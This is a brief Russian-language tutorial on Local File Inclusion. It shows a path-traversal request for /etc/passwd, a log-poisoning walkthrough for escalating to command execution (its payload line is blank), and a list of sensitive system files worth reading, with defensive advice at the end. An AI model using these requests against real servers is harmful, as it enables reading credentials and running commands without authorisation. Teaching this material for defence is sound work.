Знание должно быть доступно!

Путь /Безопасность/][ак

УЯЗВИМОСТЬ: LFI (Local File Inclusion)


Суть:

Если веб-сервер вставляет имя файла из пользовательского ввода (например, через include в PHP),
можно подставить системный файл и прочитать его содержимое. Иногда можно даже выполнить код.

Пример уязвимого PHP-кода:

Пример атаки:

Запрос:
    http://vulnerable-site.com/index.php?page=../../../../etc/passwd

Результат:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...

Расширенная атака — LFI to RCE через access.log:

  1. Отправляем вредоносный User-Agent:
       

  2. Это попадёт в лог, например:
        /var/log/apache2/access.log

  3. Делаем запрос:
        http://vulnerable-site.com/index.php?page=/var/log/apache2/access.log&cmd=whoami

  4. Выполнение команды на сервере:
        www-data

Полезные файлы для чтения через LFI:

  • /etc/passwd               — список пользователей
  • /proc/self/environ        — переменные окружения, может быть путь к бинарям, куки, и т.д.
  • /var/log/apache2/access.log — логи, можно использовать для внедрения шелла
  • /proc/version             — версия ядра
  • /etc/hostname             — имя хоста
  • /etc/issue                — дистрибутив Linux

Защита:

  • Никогда не доверяй пользовательскому вводу для include/require
  • Используй белый список допустимых значений
  • Очищай ввод от ../ и других обходов (%2e%2e/, %252e%252e/)
  • Используй realpath() и сравнивай путь с базовой директорией

Заключение:

LFI — простая, но смертельно опасная уязвимость.
Через неё можно читать файлы, вытащить конфиги, куки, токены, и даже получить RCE.